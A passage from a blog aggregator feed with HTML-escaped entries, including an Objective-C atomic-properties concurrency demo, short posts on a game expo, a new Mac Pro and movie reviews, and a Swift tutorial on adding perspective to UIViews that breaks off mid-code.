        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;coffeeConsumed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_group_leave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="n"&gt;dispatch_group_enter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Carl"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Carlson"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;coffeeConsumed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;598&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_group_leave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="n"&gt;dispatch_group_enter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"%@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_group_leave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="n"&gt;dispatch_group_wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DISPATCH_TIME_FOREVER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;emp&lt;/span&gt; &lt;span class="nf"&gt;release&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;@autoreleasepool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;updateRecord&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"Done"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Output&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;2014-11-01 16:11:41.496 a.out[19307:1403] Carl Simpson: 9235 L
2014-11-01 16:11:43.314 a.out[19307:1a03] Homer Burns: 9235 L
2014-11-01 16:11:46.732 a.out[19307:1a03] Lenny Simpson: 2045 L
2014-11-01 16:11:47.558 a.out[19307:507] Done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can see that even though the emp object is absurd every time, but
yet all of its atomic properties have valid values all the time.&lt;/p&gt;

&lt;p&gt;As far as I’m aware of nothing is known about atomicity and Swift, but
I’m guessing it would be close to the Objective-C model.&lt;/p&gt;

&lt;p&gt;As usual the code for today’s experiment is available at
&lt;a href="https://github.com/chunkyguy/ConcurrencyExperiments/tree/master/106_Atomics"&gt;github.com/chunkyguy/ConcurrencyExperiments&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Have fun!&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sat, 01 Nov 2014 07:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/11/01/concurrency-atomics/</guid></item><item><title>Performance of the zlog sequencer service</title><link>https://makedist.com/posts/2014/11/01/performance-of-the-zlog-sequencer-service/</link><description>How fast can an integer be incremented and read over the network?</description><author>Noah Watkins</author><pubDate>Sat, 01 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2014/11/01/performance-of-the-zlog-sequencer-service/</guid></item><item><title>Screenshot Saturday 196</title><link>https://etodd.io/2014/10/31/screenshot-saturday-196-2/</link><description>&lt;p&gt;This past weekend I exhibited Lemma at the &lt;a href="https://www.ohiogamedevexpo.com/"&gt;Ohio Game Dev Expo&lt;/a&gt;. It was an awesome time. Extra Life raised &lt;a href="https://www.facebook.com/OhioGameDev/photos/a.583027281819317.1073741828.251566878298694/583029771819068/"&gt;over $9,000&lt;/a&gt; for charity (yes, it is in fact over 9000).&lt;/p&gt;
&lt;p&gt;The Oculus Rift was a huge hit!&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/vmkkgYe.jpg"&gt;&lt;img alt="" src="https://etodd.io/assets/vmkkgYel.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I worked on various improvements right up to the expo. First, some new textures for moving platforms and doors:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://etodd.io/assets/YloSUlP.jpg"&gt;&lt;img alt="" class="full" src="https://etodd.io/assets/YloSUlPl.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is the first texture I've created that has any kind of directional meaning. The reason is that until this week, I had no control over how the textures mapped to the voxels. It was all procedural. So if I put an arrow graphic in a texture, there was no guarantee which way it would face.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 31 Oct 2014 20:11:49 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/10/31/screenshot-saturday-196-2/</guid></item><item><title>The background you should put on your smartphone</title><link>https://stop.zona-m.net/2014/10/the-background-you-should-put-on-your-smartphone/</link><description>&lt;figure&gt;
  &lt;img alt="The background you should put on your smartphone /img/pioneer-orig.png" src="https://stop.zona-m.net//img/pioneer-orig.png" width="100%" /&gt;
&lt;/figure&gt;
&lt;p&gt;In the 80&amp;rsquo;s, we all laughed like crazy at this &lt;a href="http://www.youtube.com/watch?v=5rMI_aVYtR0"&gt;Pioneer commercial&lt;/a&gt;, thinking&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 31 Oct 2014 08:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/10/the-background-you-should-put-on-your-smartphone/</guid></item><item><title>Trainspotting</title><link>https://olshansky.info/movie/trainspotting/</link><description>Olshansky's review of Trainspotting</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 31 Oct 2014 04:35:14 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/trainspotting/</guid></item><item><title>The fastest computer I have ever owned!</title><link>https://jasoneckert.github.io/myblog/the-fastest-computer-i-have-ever-owned/</link><description>&lt;p&gt;&lt;img alt="Mac Pro" src="macpro.png#center" title="Mac Pro" /&gt;&lt;/p&gt;
&lt;p&gt;I know it’s been a while since I’ve blogged last&amp;hellip;.I’ve just been incredibly busy. This past month, I’ve been teaching a video game class at the college, writing the 4th edition of my Linux+ book for Cengage on an accelerated schedule, and managing four technology faculties&amp;hellip;&amp;hellip;all at the same time!&lt;/p&gt;
&lt;p&gt;But today, I got a new computer: A Mac Pro (the higher end 6-core Xeon model with dual AMD FirePro D500s).  I simply connect it via HDMI to my Alienware laptop and use the Fn+F8 key combination to switch between the Windows Desktop on my Alienware, and the Mac OS Desktop on my Mac Pro. Lots of power on a small amount of desk space!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 31 Oct 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/the-fastest-computer-i-have-ever-owned/</guid></item><item><title>Ex Machina</title><link>https://olshansky.info/movie/ex_machina/</link><description>Olshansky's review of Ex Machina</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 30 Oct 2014 09:35:03 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/ex_machina/</guid></item><item><title>Add Some Perspective to Your UIViews</title><link>https://whackylabs.com/uikit/ios/2014/10/29/add-some-perspective-to-your-uiviews/</link><description>&lt;p&gt;The Safari for iOS has some very interesting perspective effect
built-in. You can check that when you’ve multiple tabs open. How about
building something like that? Those views are clearly &lt;code class="language-plaintext highlighter-rouge"&gt;UIView&lt;/code&gt; right? You
can see the web content rendered, they have cross buttons. The content
even periodically updates without launching the app using the background
services probably.&lt;/p&gt;

&lt;p&gt;Lets start with searching for something in the Apple’s documentation. As
far as I was able to search, I only got so far to the &lt;a href="https://developer.apple.com/library/ios/documentation/cocoa/conceptual/coreanimation_guide/AdvancedAnimationTricks/AdvancedAnimationTricks.html#//apple_ref/doc/uid/TP40004514-CH8-SW13"&gt;Adding
Perspective to Your
Animations&lt;/a&gt;
in the &lt;em&gt;Apple’s Core Animation Programming Guide&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;If you just scroll down the &lt;strong&gt;Advanced Animation Tricks&lt;/strong&gt; page, at the
bottom you’ll find around 10 lines and a small code snippet explaining
how to add perspective to your &lt;code class="language-plaintext highlighter-rouge"&gt;CALayer&lt;/code&gt; object.&lt;/p&gt;

&lt;p&gt;This is a good start, it’s not great as it skips a lot of details and
that’s for a reason. To adding perspective, you have to be familiar with
the linear algebra behind it, and we shall get to in the next session.
But for now, let’s get started.&lt;/p&gt;

&lt;p&gt;So, create a new single view project and add a new Swift file to it.
Let’s call it &lt;em&gt;PerspectiveView.swift&lt;/em&gt;.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="kt"&gt;PerspectiveView&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;UIView&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the storyboard add a &lt;code class="language-plaintext highlighter-rouge"&gt;UIView&lt;/code&gt; and set its class to be &lt;code class="language-plaintext highlighter-rouge"&gt;PerspectiveView&lt;/code&gt;
type. Next, we need a container view to hold any subview into it. We’ll
apply perspective to this container view and hopefully the perspective
gets applied to all the contained subviews. Let’s call this container
view as &lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt;.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;contentView&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UIView&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="kd"&gt;required&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nv"&gt;coder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;NSCoder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;coder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;coder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;override&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;CGRect&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve set the background color of the main view as purple and the
&lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt; as yellow just for debugging. Next, lets implement the
&lt;code class="language-plaintext highlighter-rouge"&gt;setUp()&lt;/code&gt;. This is where we configure the &lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;setUp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;UIView&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;UIView&lt;/span&gt;&lt;span class="p"&gt;]()&lt;/span&gt;

    &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"contentView"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;contentView&lt;/span&gt;
    &lt;span class="nf"&gt;addSubview&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;imagePath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Bundle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;forResource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"sample"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;ofType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"jpg"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UIImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;contentsOfFile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;imagePath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;imageView&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UIImageView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translatesAutoresizingMaskIntoConstraints&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
      &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"imageView"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;imageView&lt;/span&gt;
      &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addSubview&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;imageView&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nf"&gt;applyConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;applyPerspective&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;backgroundColor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;yellow&lt;/span&gt;
    &lt;span class="n"&gt;backgroundColor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;purple&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’re just creating required views here. Here we’re just adding the view
that we wish to have perspective applied on to. For now, I’m just adding
a single &lt;code class="language-plaintext highlighter-rouge"&gt;UIImageView&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Next up, applying constraints.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;  &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;applyConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;UIView&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translatesAutoresizingMaskIntoConstraints&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSLayoutConstraint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;withVisualFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"H:[contentView(&amp;gt;=100)]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                                                              &lt;span class="nv"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;views&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSLayoutConstraint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;withVisualFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"V:[contentView(&amp;gt;=100)]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                                                              &lt;span class="nv"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;views&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;


    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSLayoutConstraint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;withVisualFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"H:|-[imageView]-|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                                                              &lt;span class="nv"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
